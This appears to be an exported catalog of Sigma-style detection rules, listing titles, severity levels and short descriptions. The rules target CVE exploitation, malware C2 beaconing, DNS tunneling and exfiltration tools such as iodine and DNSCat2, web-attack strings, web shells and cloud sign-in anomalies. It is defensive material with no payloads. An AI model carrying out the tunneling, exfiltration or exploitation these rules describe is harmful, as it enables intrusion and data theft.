Potential CVE-2023-36884 Exploitation - File Downloads	medium	Detects files seen being requested by RomCom while potentially exploiting CVE-2023-36884
Potential CVE-2023-36884 Exploitation - URL Marker	high	Detects a unique URL marker seen being used by RomCom potentially exploiting CVE-2023-36884
Potential CVE-2023-36884 Exploitation - Share Access	high	Detects access to a file share with a naming schema seen being used during exploitation of CVE-2023-36884
Potential SocGholish Second Stage C2 DNS Query	high	Detects a DNS query initiated from a "wscript" process for domains matching a specific pattern that was seen being used by SocGholish for its Command and Control traffic
DarkGate - Autoit3.EXE File Creation By Uncommon Process	medium	Detects the usage of curl.exe, KeyScramblerLogon, or other non-standard/suspicious processes used to create Autoit3.exe. This activity has been associated with DarkGate malware, which uses Autoit3.exe to execute shellcode that performs process injection and connects to the DarkGate command-and-control server. Curl, KeyScramblerLogon, and these other processes consitute non-standard and suspicious ways to retrieve the Autoit3 executable.
Potential Pikabot C2 Activity	high	Detects the execution of rundll32 that leads to an external network connection. The malware Pikabot has been seen to use this technique to initiate C2-communication through hard-coded Windows binaries.
Potential Compromised 3CXDesktopApp Beaconing Activity - DNS	high	Detects potential beaconing activity to domains related to 3CX 3CXDesktopApp compromise
Potential Compromised 3CXDesktopApp Beaconing Activity - Netcon	high	Detects potential beaconing activity to domains related to 3CX 3CXDesktopApp compromise
Potential Suspicious Child Process Of 3CXDesktopApp	high	Detects potential suspicious child processes of "3CXDesktopApp.exe". Which could be related to the 3CXDesktopApp supply chain compromise
Potential Compromised 3CXDesktopApp Beaconing Activity - Proxy	high	Detects potential beaconing activity to domains related to 3CX 3CXDesktopApp compromise
Potential Compromised 3CXDesktopApp ICO C2 File Download	high	Detects potential malicious .ICO files download from a compromised 3CXDesktopApp via web requests to the the malicious Github repository
Diamond Sleet APT DNS Communication Indicators	high	Detects DNS queries related to Diamond Sleet APT activity
Potential Operation Triangulation C2 Beaconing Activity - DNS	high	Detects potential beaconing activity to domains used in 0day attacks on iOS devices and revealed by Kaspersky and the FSB
Potential Operation Triangulation C2 Beaconing Activity - Proxy	high	Detects potential beaconing activity to domains used in 0day attacks on iOS devices and revealed by Kaspersky and the FSB
Potential Peach Sandstorm APT C2 Communication Activity	medium	Detects potential C2 communication activity related to Peach Sandstorm APT
Potential CSharp Streamer RAT Loading .NET Executable Image	high	Detects potential CSharp Streamer RAT loading .NET executable image by using the default file name and path associated with the tool.
DPRK Threat Actor - C2 Communication DNS Indicators	high	Detects DNS queries for C2 domains used by DPRK Threat actors.
VsCode Code Tunnel Execution File Indicator	medium	Detects the creation of a file with the name "code_tunnel.json" which indicate execution and usage of VsCode tunneling utility. Attackers can abuse this functionality to establish a C2 channel
Network Connection Initiated From Users\Public Folder	medium	Detects a network connection initiated from a process located in the "C:\Users\Public" folder. Attacker are known to drop their malicious payloads and malware in this directory as its writable by everyone. Use this rule to hunt for potential suspicious or uncommon activity in your environement.
File Download Via Curl.EXE	medium	Detects file download using curl.exe
Curl.EXE Execution	low	Detects a curl process start on Windows, which could indicates a file download from a remote location or a simple web request to a remote server
Curl.EXE Execution With Custom UserAgent	medium	Detects execution of curl.exe with custom useragent options
Remote Access Tool - Action1 Arbitrary Code Execution and Remote Sessions	medium	Detects the execution of Action1 in order to execute arbitrary code or establish a remote session. Action1 is a powerful Remote Monitoring and Management tool that enables users to execute commands, scripts, and binaries. Through the web interface of action1, the administrator must create a new policy or an app to establish remote execution and then points that the agent is installed. Hunting Opportunity 1- Weed Out The Noise When threat actors execute a script, a command, or a binary through these new policies and apps, the names of these become visible in the command line during the execution process. Below is an example of the command line that contains the deployment of a binary through a policy with name "test_app_1": ParentCommandLine: "C:\WINDOWS\Action1\action1_agent.exe schedule:Deploy_App__test_app_1_1681327673425 runaction:0" After establishing a baseline, we can split the command to extract the policy name and group all the policy names and inspect the results with a list of frequency occurrences. Hunting Opportunity 2 - Remote Sessions On Out Of Office Hours If you have admins within your environment using remote sessions to administer endpoints, you can create a threat-hunting query and modify the time of the initiated sessions looking for abnormal activity.
Tunneling Tool Execution	medium	Detects the execution of well known tools that can be abused for data exfiltration and tunneling.
Possible DNS Tunneling	high	Normally, DNS logs contain a limited amount of different dns queries for a single domain. This rule detects a high amount of queries for a single domain, which can be an indicator that DNS is used to transfer data.
High NULL Records Requests Rate	medium	Extremely high rate of NULL record type DNS requests from host per short period of time. Possible result of iodine tool execution
High DNS Requests Rate	medium	High DNS requests amount from host per short period of time
High TXT Records Requests Rate	medium	Extremely high rate of TXT record type DNS requests from host per short period of time. Possible result of Do-exfiltration tool execution
High DNS Requests Rate - Firewall	medium	High DNS requests amount from host per short period of time
Possible DNS Rebinding	medium	Detects DNS-answer with TTL <10.
DNSCat2 Powershell Implementation Detection Via Process Creation	high	The PowerShell implementation of DNSCat2 calls nslookup to craft queries. Counting nslookup processes spawned by PowerShell will show hundreds or thousands of instances if PS DNSCat2 is active locally.
Suspicious Werfault.exe Network Connection Outbound	medium	Adversaries can migrate cobalt strike/metasploit/C2 beacons on compromised systems to legitimate werfault.exe process to avoid detection.

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Title	Level	Description
OMIGOD SCX RunAsProvider ExecuteShellCommand - Auditd	high	Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite.
User Added To Admin Group - MacOS	medium	Detects attempts to create and/or add an account to the admin group, thus granting admin privileges.
Search-ms and WebDAV Suspicious Indicators in URL	high	Detects URL pattern used by search(-ms)/WebDAV initial access campaigns.
Django Framework Exceptions	medium	Detects suspicious Django web application framework exceptions that could indicate exploitation attempts
Potential JNDI Injection Exploitation In JVM Based Application	high	Detects potential JNDI Injection exploitation. Often coupled with Log4Shell exploitation.
Potential Local File Read Vulnerability In JVM Based Application	high	Detects potential local file read vulnerability in JVM based apps. If the exceptions are caused due to user input and contain path traversal payloads then it's a red flag.
Potential OGNL Injection Exploitation In JVM Based Application	high	Detects potential OGNL Injection exploitation, which may lead to RCE. OGNL is an expression language that is supported in many JVM based systems. OGNL Injection is the reason for some high profile RCE's such as Apache Struts (CVE-2017-5638) and Confluence (CVE-2022-26134)
Process Execution Error In JVM Based Application	high	Detects process execution related exceptions in JVM based apps, often relates to RCE
Potential XXE Exploitation Attempt In JVM Based Application	high	Detects XML parsing issues, if the application expects to work with XML make sure that the parser is initialized safely.
Potential RCE Exploitation Attempt In NodeJS	high	Detects process execution related errors in NodeJS. If the exceptions are caused due to user input then they may suggest an RCE vulnerability.
OpenCanary - FTP Login Attempt	high	Detects instances where an FTP service on an OpenCanary node has had a login attempt.
OpenCanary - HTTPPROXY Login Attempt	high	Detects instances where an HTTPPROXY service on an OpenCanary node has had an attempt to proxy another page.
OpenCanary - HTTP GET Request	high	Detects instances where an HTTP service on an OpenCanary node has received a GET request.
OpenCanary - HTTP POST Login Attempt	high	Detects instances where an HTTP service on an OpenCanary node has had login attempt via Form POST.
OpenCanary - SSH Login Attempt	high	Detects instances where an SSH service on an OpenCanary node has had a login attempt.
OpenCanary - SSH New Connection Attempt	high	Detects instances where an SSH service on an OpenCanary node has had a connection attempt.
OpenCanary - Telnet Login Attempt	high	Detects instances where a Telnet service on an OpenCanary node has had a login attempt.
Python SQL Exceptions	medium	Generic rule for SQL exceptions in Python according to PEP 249
Ruby on Rails Framework Exceptions	medium	Detects suspicious Ruby on Rails exceptions that could indicate exploitation attempts
Spring Framework Exceptions	medium	Detects suspicious Spring framework exceptions that could indicate exploitation attempts
Potential SpEL Injection In Spring Framework	high	Detects potential SpEL Injection exploitation, which may lead to RCE.
Suspicious SQL Error Messages	high	Detects SQL error messages that indicate probing for an injection attack
Potential Server Side Template Injection In Velocity	high	Detects exceptions in velocity template renderer, this most likely happens due to dynamic rendering of user input and may lead to RCE.
Suspicious SQL Query	medium	Detects suspicious SQL query keywrods that are often used during recon, exfiltration or destructive activities. Such as dropping tables and selecting wildcard fields
New Network ACL Entry Added	low	Detects that network ACL entries have been added to a route table which could indicate that new attack vectors have been opened up in the AWS account.
New Network Route Added	medium	Detects the addition of a new network route to a route table in AWS.
Ingress/Egress Security Group Modification	medium	Detects when an account makes changes to the ingress or egress rules of a security group. This can indicate that an attacker is attempting to open up new attack vectors in the account, that they are trying to exfiltrate data over the network, or that they are trying to allow machines in that VPC/Subnet to contact a C&C server.
LoadBalancer Security Group Modification	medium	Detects changes to the security groups associated with an Elastic Load Balancer (ELB) or Application Load Balancer (ALB). This can indicate that a misconfiguration allowing more traffic into the system than required, or could indicate that an attacker is attempting to enable new connections into a VPC or subnet controlled by the account.
RDS Database Security Group Modification	medium	Detects changes to the security group entries for RDS databases. This can indicate that a misconfiguration has occurred which potentially exposes the database to the public internet, a wider audience within the VPC or that removal of valid rules has occurred which could impact the availability of the database to legitimate services and users.
AWS Key Pair Import Activity	medium	Detects the import of SSH key pairs into AWS EC2, which may indicate an attacker attempting to gain unauthorized access to instances. This activity could lead to initial access, persistence, or privilege escalation, potentially compromising sensitive data and operations.
New AWS Lambda Function URL Configuration Created	medium	Detects when a user creates a Lambda function URL configuration, which could be used to expose the function to the internet and potentially allow unauthorized access to the function's IAM role for AWS API calls. This could give an adversary access to the privileges associated with the Lambda service role that is attached to that function.
AWS Suspicious SAML Activity	medium	Identifies when suspicious SAML activity has occurred in AWS. An adversary could gain backdoor access via SAML.
Azure Subscription Permission Elevation Via ActivityLogs	high	Detects when a user has been elevated to manage all Azure Subscriptions. This change should be investigated immediately if it isn't planned. This setting could allow an attacker access to Azure subscriptions in your environment.
Guest Users Invited To Tenant By Non Approved Inviters	medium	Detects guest users being invited to tenant by non-approved inviters
Azure Domain Federation Settings Modified	medium	Identifies when an user or application modified the federation settings on the domain.
User State Changed From Guest To Member	medium	Detects the change of user type from "Guest" to "Member" for potential elevation of privilege.
Azure Subscription Permission Elevation Via AuditLogs	high	Detects when a user has been elevated to manage all Azure Subscriptions. This change should be investigated immediately if it isn't planned. This setting could allow an attacker access to Azure subscriptions in your environment.
Activity From Anonymous IP Address	high	Identifies that users were active from an IP address that has been identified as an anonymous proxy IP address.
Atypical Travel	high	Identifies two sign-ins originating from geographically distant locations, where at least one of the locations may also be atypical for the user, given past behavior.
Impossible Travel	high	Identifies user activities originating from geographically distant locations within a time period shorter than the time it takes to travel from the first location to the second.
Suspicious Browser Activity	high	Indicates anomalous behavior based on suspicious sign-in activity across multiple tenants from different countries in the same browser
Azure AD Threat Intelligence	high	Indicates user activity that is unusual for the user or consistent with known attack patterns.
New Country	high	Detects sign-ins from new countries. The detection considers past activity locations to determine new and infrequent locations.
Unfamiliar Sign-In Properties	high	Detects sign-in with properties that are unfamiliar to the user. The detection considers past sign-in history to look for anomalous sign-ins.
Successful Authentications From Countries You Do Not Operate Out Of	medium	Detect successful authentications from countries you do not operate out of.
Authentications To Important Apps Using Single Factor Authentication	medium	Detect when authentications to important application(s) only required single-factor authentication
Failed Authentications From Countries You Do Not Operate Out Of	low	Detect failed authentications from countries you do not operate out of.
Azure AD Only Single Factor Authentication Required	low	Detect when users are authenticating without MFA being required.
Potential MFA Bypass Using Legacy Client Authentication	high	Detects successful authentication from potential clients using legacy authentication via user agent strings. This could be a sign of MFA bypass using a password spray attack.
Application Using Device Code Authentication Flow	medium	Device code flow is an OAuth 2.0 protocol flow specifically for input constrained devices and is not used in all environments. If this type of flow is seen in the environment and not being used in an input constrained device scenario, further investigation is warranted. This can be a misconfigured application or potentially something malicious.
Applications That Are Using ROPC Authentication Flow	medium	Resource owner password credentials (ROPC) should be avoided if at all possible as this requires the user to expose their current password credentials to the application directly. The application then uses those credentials to authenticate the user against the identity provider.
Account Disabled or Blocked for Sign in Attempts	medium	Detects when an account is disabled or blocked for sign in but tried to log in
Sign-in Failure Due to Conditional Access Requirements Not Met	high	Define a baseline threshold for failed sign-ins due to Conditional Access failures
Use of Legacy Authentication Protocols	high	Alert on when legacy authentication has been used on an account
Login to Disabled Account	medium	Detect failed attempts to sign in to disabled accounts.
Multifactor Authentication Denied	medium	User has indicated they haven't instigated the MFA prompt and could indicate an attacker has the password for the account.
Azure Unusual Authentication Interruption	medium	Detects when there is a interruption in the authentication process.
Multifactor Authentication Interrupted	medium	Identifies user login with multifactor authentication failures, which might be an indication an attacker has the password for the account but can't pass the MFA challenge.
Users Authenticating To Other Azure AD Tenants	medium	Detect when users in your Azure AD tenant are authenticating to other Azure AD Tenants.
User Access Blocked by Azure Conditional Access	medium	Detect access has been blocked by Conditional Access policies. The access policy does not allow token issuance which might be sights≈ of unauthorizeed login to valid accounts.
Cisco Duo Successful MFA Authentication Via Bypass Code	medium	Detects when a successful MFA authentication occurs due to the use of a bypass code. A bypass code is a temporary passcode created by an administrator for a specific user to access a Duo-protected application. These are generally used as "backup codes," so that enrolled users who are having problems with their mobile devices (e.g., mobile service is disrupted, the device is lost or stolen, etc.) or who temporarily can't use their enrolled devices (on a plane without mobile data services) can still access their Duo-protected systems.
Outdated Dependency Or Vulnerability Alert Disabled	high	Dependabot performs a scan to detect insecure dependencies, and sends Dependabot alerts. This rule detects when an organization owner disables Dependabot alerts private repositories or Dependabot security updates for all repositories.
Github New Secret Created	low	Detects when a user creates action secret for the organization, environment, codespaces or repository.
Github Self Hosted Runner Changes Detected	low	A self-hosted runner is a system that you deploy and manage to execute jobs from GitHub Actions on GitHub.com. This rule detects changes to self-hosted runners configurations in the environment. The self-hosted runner configuration changes once detected, it should be validated from GitHub UI because the log entry may not provide full context.
Microsoft 365 - Impossible Travel Activity	medium	Detects when a Microsoft Cloud App Security reported a risky sign-in attempt due to a login associated with an impossible travel.
Logon from a Risky IP Address	medium	Detects when a Microsoft Cloud App Security reported when a user signs into your sanctioned apps from a risky IP address.
Microsoft 365 - User Restricted from Sending Email	medium	Detects when a Security Compliance Center reported a user who exceeded sending limits of the service policies and because of this has been restricted from sending email.
Okta FastPass Phishing Detection	high	Detects when Okta FastPass prevents a known phishing site.
Okta New Admin Console Behaviours	high	Detects when Okta identifies new activity in the Admin Console.
Default Credentials Usage	medium	Before deploying any new asset, change all default passwords to have values consistent with administrative level accounts. Sigma detects default credentials usage. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.
Suspicious OpenSSH Daemon Error	medium	Detects suspicious SSH / SSHD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts
Suspicious Named Error	high	Detects suspicious DNS error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts
Suspicious VSFTPD Error Messages	medium	Detects suspicious VSFTPD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts
Atlassian Confluence CVE-2022-26134	high	Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2022-26134
Apache Spark Shell Command Injection - ProcessCreation	high	Detects attempts to exploit an apache spark server via CVE-2014-6287 from a commandline perspective
OMIGOD SCX RunAsProvider ExecuteScript	high	Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx* prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.
OMIGOD SCX RunAsProvider ExecuteShellCommand	high	Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.
Remote Access Tool - Team Viewer Session Started On Linux Host	low	Detects the command line executed when TeamViewer starts a session started by a remote host. Once a connection has been started, an investigator can verify the connection details by viewing the "incoming_connections.txt" log file in the TeamViewer folder.
User Added To Admin Group Via Dscl	medium	Detects attempts to create and add an account to the admin group via "dscl"
User Added To Admin Group Via DseditGroup	medium	Detects attempts to create and/or add an account to the admin group, thus granting admin privileges.
Root Account Enable Via Dsenableroot	medium	Detects attempts to enable the root account via "dsenableroot"
Disk Image Mounting Via Hdiutil - MacOS	medium	Detects the execution of the hdiutil utility in order to mount disk images.
Remote Access Tool - Team Viewer Session Started On MacOS Host	low	Detects the command line executed when TeamViewer starts a session started by a remote host. Once a connection has been started, an investigator can verify the connection details by viewing the "incoming_connections.txt" log file in the TeamViewer folder.
Suspicious Browser Child Process - MacOS	medium	Detects suspicious child processes spawned from browsers. This could be a result of a potential web browser exploitation.
Suspicious Execution via macOS Script Editor	medium	Detects when the macOS Script Editor utility spawns an unusual child process.
User Added To Admin Group Via Sysadminctl	medium	Detects attempts to create and add an account to the admin group via "sysadminctl"
Guest Account Enabled Via Sysadminctl	low	Detects attempts to enable the guest account using the sysadminctl utility
Cisco BGP Authentication Failures	low	Detects BGP failures which may be indicative of brute force attacks to manipulate routing
Cisco LDP Authentication Failures	low	Detects LDP failures which may be indicative of brute force attacks to manipulate MPLS labels
DNS Query to External Service Interaction Domains	high	Detects suspicious DNS queries to external service interaction domains often used for out-of-band interactions after successful RCE
Huawei BGP Authentication Failures	low	Detects BGP failures which may be indicative of brute force attacks to manipulate routing.
Juniper BGP Missing MD5	low	Detects juniper BGP missing MD5 digest. Which may be indicative of brute force attacks to manipulate routing.
OMIGOD HTTP No Authentication RCE	high	Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request. Verify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP). Within the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request.
Apache Threading Error	medium	Detects an issue in apache logs that reports threading related errors
Download From Suspicious TLD - Blacklist	low	Detects download of certain file types from hosts in suspicious TLDs
Download From Suspicious TLD - Whitelist	low	Detects executable downloads from suspicious remote systems
F5 BIG-IP iControl Rest API Command Execution - Proxy	medium	Detects POST requests to the F5 BIG-IP iControl Rest API "bash" endpoint, which allows the execution of commands on the BIG-IP
Flash Player Update from Suspicious Location	high	Detects a flashplayer update from an unofficial location
Hack Tool User Agent	high	Detects suspicious user agent strings user by hack tools in proxy logs
Suspicious External WebDAV Execution	high	Detects executables launched from external WebDAV shares using the WebDAV Explorer integration, commonly seen in initial access campaigns.
Successful IIS Shortname Fuzzing Scan	medium	When IIS uses an old .Net Framework it's possible to enumerate folders with the symbol "~"
Java Payload Strings	high	Detects possible Java payloads in web access logs
JNDIExploit Pattern	high	Detects exploitation attempt using the JNDI-Exploit-Kit
Path Traversal Exploitation Attempts	medium	Detects path traversal exploitation attempts
SQL Injection Strings In URI	high	Detects potential SQL injection attempts via GET requests in access logs.
Suspicious User-Agents Related To Recon Tools	medium	Detects known suspicious (default) user-agents related to scanning/recon tools
Cross Site Scripting Strings	high	Detects XSS attempts injected via GET requests in access logs
USB Device Plugged	low	Detects plugged/unplugged USB devices
Device Installation Blocked	medium	Detects an installation of a device that is forbidden by the system policy
External Disk Drive Or USB Storage Device Was Recognized By The System	low	Detects external disk drives or plugged-in USB devices.
ISO Image Mounted	medium	Detects the mount of an ISO image on an endpoint
Account Tampering - Suspicious Failed Logon Reasons	medium	This method uses uncommon error codes on failed logons to determine suspicious activity and tampering with accounts that have been disabled or somehow restricted.
Password Protected ZIP File Opened (Email Attachment)	high	Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.
External Remote RDP Logon from Public IP	medium	Detects successful logon from public IP address via RDP. This can indicate a publicly-exposed RDP port.
External Remote SMB Logon from Public IP	high	Detects successful logon from public IP address via SMB. This can indicate a publicly-exposed SMB port.
Failed Logon From Public IP	medium	Detects a failed logon attempt from a public IP. A login from a public IP can indicate a misconfigured firewall or network boundary.
DNS Query Request By QuickAssist.EXE	low	Detects DNS queries initiated by "QuickAssist.exe" to Microsoft Quick Assist primary endpoint that is used to establish a session.
Unusual File Modification by dns.exe	high	Detects an unexpected file being modified by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)
Unusual File Deletion by Dns.exe	high	Detects an unexpected file being deleted by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)
Suspicious File Drop by Exchange	medium	Detects suspicious file type dropped by an Exchange component in IIS
Potential Initial Access via DLL Search Order Hijacking	medium	Detects attempts to create a DLL file to a known desktop application dependencies folder such as Slack, Teams or OneDrive and by an unusual process. This may indicate an attempt to load a malicious module via DLL search order hijacking.
ISO File Created Within Temp Folders	high	Detects the creation of a ISO file in the Outlook temp folder or in the Appdata temp folder. Typical of Qakbot TTP from end-July 2022.
ISO or Image Mount Indicator in Recent Files	medium	Detects the creation of recent element file that points to an .ISO, .IMG, .VHD or .VHDX file as often used in phishing attacks. This can be a false positive on server systems but on workstations users should rarely mount .iso or .img files.
Office Macro File Creation	low	Detects the creation of a new office macro files on the systems
Office Macro File Download	medium	Detects the creation of a new office macro files on the systems via an application (browser, mail client).
Office Macro File Creation From Suspicious Process	high	Detects the creation of a office macro file from a a suspicious process
Suspicious MSExchangeMailboxReplication ASPX Write	high	Detects suspicious activity in which the MSExchangeMailboxReplication process writes .asp and .apsx files to disk, which could be a sign of ProxyShell exploitation
Suspicious Computer Machine Password by PowerShell	medium	The Reset-ComputerMachinePassword cmdlet changes the computer account password that the computers use to authenticate to the domain controllers in the domain. You can use it to reset the password of the local computer.
Unusual Child Process of dns.exe	high	Detects an unexpected process spawning from dns.exe which may indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)
HTML Help HH.EXE Suspicious Child Process	high	Detects a suspicious child process of a Microsoft HTML Help (HH.exe)
Suspicious HH.EXE Execution	high	Detects a suspicious execution of a Microsoft HTML Help (HH.exe)
Suspicious HWP Sub Processes	high	Detects suspicious Hangul Word Processor (Hanword) sub processes that could indicate an exploitation
Suspicious Shells Spawn by Java Utility Keytool	high	Detects suspicious shell spawn from Java utility keytool process (e.g. adselfservice plus exploitation)
Suspicious Processes Spawned by Java.EXE	high	Detects suspicious processes spawned from a Java host process which could indicate a sign of exploitation (e.g. log4j)
Shell Process Spawned by Java.EXE	medium	Detects shell spawned from Java host process, which could be a sign of exploitation (e.g. log4j exploitation)
Suspicious Child Process Of SQL Server	high	Detects suspicious child processes of the SQLServer process. This could indicate potential RCE or SQL Injection.
Suspicious Child Process Of Veeam Dabatase	critical	Detects suspicious child processes of the Veeam service process. This could indicate potential RCE or SQL Injection.
Password Provided In Command Line Of Net.EXE	medium	Detects a when net.exe is called with a password in the command line
Suspicious Microsoft OneNote Child Process	high	Detects suspicious child processes of the Microsoft OneNote application. This may indicate an attempt to execute malicious embedded objects from a .one file.
Suspicious Execution From Outlook Temporary Folder	high	Detects a suspicious program execution in Outlook temp folder
Remote Access Tool - AnyDesk Execution With Known Revoked Signing Certificate	medium	Detects the execution of an AnyDesk binary with a version prior to 8.0.8. Prior to version 8.0.8, the Anydesk application used a signing certificate that got compromised by threat actors. Use this rule to detect instances of older versions of Anydesk using the compromised certificate This is recommended in order to avoid attackers leveraging the certificate and signing their binaries to bypass detections.
Remote Access Tool - ScreenConnect Installation Execution	medium	Detects ScreenConnect program starts that establish a remote access to a system.
Remote Access Tool - ScreenConnect Server Web Shell Execution	high	Detects potential web shell execution from the ScreenConnect server process.
Remote Access Tool - Team Viewer Session Started On Windows Host	low	Detects the command line executed when TeamViewer starts a session started by a remote host. Once a connection has been started, an investigator can verify the connection details by viewing the "incoming_connections.txt" log file in the TeamViewer folder.
Arbitrary Shell Command Execution Via Settingcontent-Ms	medium	The .SettingContent-ms file type was introduced in Windows 10 and allows a user to create "shortcuts" to various Windows 10 setting pages. These files are simply XML and contain paths to various Windows 10 settings binaries.
Phishing Pattern ISO in Archive	high	Detects cases in which an ISO files is opend within an archiver like 7Zip or Winrar, which is a sign of phishing as threat actors put small ISO files in archives as email attachments to bypass certain filters and protective measures (mark of web)
Suspicious Double Extension File Execution	critical	Detects suspicious use of an .exe extension after a non-executable file extension like .pdf.exe, a set of spaces or underlines to cloak the executable file in spear phishing campaigns
Terminal Service Process Spawn	high	Detects a process spawned by the terminal service server process (this could be an indicator for an exploitation of CVE-2019-0708)
Suspicious Processes Spawned by WinRM	high	Detects suspicious processes including shells spawnd from WinRM host process
Windows Registry Trust Record Modification	medium	Alerts on trust record modification within the registry, indicating usage of macros
Rejetto HTTP File Server RCE	high	Detects attempts to exploit a Rejetto HTTP File Server (HFS) via CVE-2014-6287
CVE-2010-5278 Exploitation Attempt	critical	MODx manager - Local File Inclusion:Directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl, and possibly earlier, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter.
Exploit for CVE-2017-0261	medium	Detects Winword starting uncommon sub process FLTLDR.exe as used in exploits for CVE-2017-0261 and CVE-2017-0262
Droppers Exploiting CVE-2017-11882	critical	Detects exploits that use CVE-2017-11882 to start EQNEDT32.EXE and other sub processes like mshta.exe
Exploit for CVE-2017-8759	critical	Detects Winword starting uncommon sub process csc.exe as used in exploits for CVE-2017-8759
Fortinet CVE-2018-13379 Exploitation	critical	Detects CVE-2018-13379 exploitation attempt against Fortinet SSL VPNs
Oracle WebLogic Exploit	critical	Detects access to a webshell dropped into a keystore folder on the WebLogic server
Pulse Secure Attack CVE-2019-11510	critical	Detects CVE-2019-11510 exploitation attempt - URI contains Guacamole
Citrix Netscaler Attack CVE-2019-19781	critical	Detects CVE-2019-19781 exploitation attempt against Citrix Netscaler, Application Delivery Controller and Citrix Gateway Attack
Confluence Exploitation CVE-2019-3398	critical	Detects the exploitation of the Confluence vulnerability described in CVE-2019-3398
Ursnif Malware C2 URL Pattern	critical	Detects Ursnif C2 traffic.
CVE-2020-0688 Exploitation Attempt	high	Detects CVE-2020-0688 Exploitation attempts
CVE-2020-0688 Exchange Exploitation via Web Log	critical	Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688
CVE-2020-0688 Exploitation via Eventlog	high	Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688
CVE-2020-10148 SolarWinds Orion API Auth Bypass	critical	Detects CVE-2020-10148 SolarWinds Orion API authentication bypass attempts
DNS RCE CVE-2020-1350	critical	Detects exploitation of DNS RCE bug reported in CVE-2020-1350 by the detection of suspicious sub process
CVE-2020-5902 F5 BIG-IP Exploitation Attempt	critical	Detects the exploitation attempt of the vulnerability found in F5 BIG-IP and described in CVE-2020-5902
Citrix ADS Exploitation CVE-2020-8193 CVE-2020-8195	critical	Detects exploitation attempt against Citrix Netscaler, Application Delivery Controller (ADS) and Citrix Gateway exploiting vulnerabilities reported as CVE-2020-8193 and CVE-2020-8195
Exploited CVE-2020-10189 Zoho ManageEngine	high	Detects the exploitation of Zoho ManageEngine Desktop Central Java Deserialization vulnerability reported as CVE-2020-10189
TerraMaster TOS CVE-2020-28188	high	Detects the exploitation of the TerraMaster TOS vulnerability described in CVE-2020-28188
Cisco ASA FTD Exploit CVE-2020-3452	high	Detects exploitation attempts on Cisco ASA FTD systems exploiting CVE-2020-3452 with a status code of 200 (sccessful exploitation)
Oracle WebLogic Exploit CVE-2020-14882	high	Detects exploitation attempts on WebLogic servers
Arcadyan Router Exploitations	critical	Detects exploitation of vulnerabilities in Arcadyan routers as reported in CVE-2021-20090 and CVE-2021-20091.
Oracle WebLogic Exploit CVE-2021-2109	critical	Detects the exploitation of the WebLogic server vulnerability described in CVE-2021-2109
CVE-2021-21972 VSphere Exploitation	high	Detects the exploitation of VSphere Remote Code Execution vulnerability as described in CVE-2021-21972
CVE-2021-21978 Exploitation Attempt	high	Detects the exploitation of the VMware View Planner vulnerability described in CVE-2021-21978
VMware vCenter Server File Upload CVE-2021-22005	high	Detects exploitation attempts using file upload vulnerability CVE-2021-22005 in the VMWare vCenter Server.
Fortinet CVE-2021-22123 Exploitation	critical	Detects CVE-2021-22123 exploitation attempt against Fortinet WAFs
Pulse Connect Secure RCE Attack CVE-2021-22893	high	This rule detects exploitation attempts using Pulse Connect Secure(PCS) vulnerability (CVE-2021-22893)
Potential Atlassian Confluence CVE-2021-26084 Exploitation Attempt	high	Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2021-26084
Potential CVE-2021-26084 Exploitation Attempt	high	Detects potential exploitation of CVE-2021-260841 a Confluence RCE using OGNL injection
Exploitation of CVE-2021-26814 in Wazuh	high	Detects the exploitation of the Wazuh RCE vulnerability described in CVE-2021-26814
ProxyLogon Reset Virtual Directories Based On IIS Log	critical	When exploiting this vulnerability with CVE-2021-26858, an SSRF attack is used to manipulate virtual directories
Potential CVE-2021-27905 Exploitation Attempt	medium	Detects exploitation attempt of the CVE-2021-27905 which affects all Apache Solr versions prior to and including 8.8.1.
Exchange Exploitation CVE-2021-28480	critical	Detects successful exploitation of Exchange vulnerability as reported in CVE-2021-28480
CVE-2021-33766 Exchange ProxyToken Exploitation	critical	Detects the exploitation of Microsoft Exchange ProxyToken vulnerability as described in CVE-2021-33766
ADSelfService Exploitation	high	Detects suspicious access to URLs that was noticed in cases in which attackers exploitated the ADSelfService vulnerability CVE-2021-40539
CVE-2021-40539 Zoho ManageEngine ADSelfService Plus Exploit	critical	Detects an authentication bypass vulnerability affecting the REST API URLs in ADSelfService Plus (CVE-2021-40539).
LPE InstallerFileTakeOver PoC CVE-2021-41379	high	Detects PoC tool used to exploit LPE vulnerability CVE-2021-41379
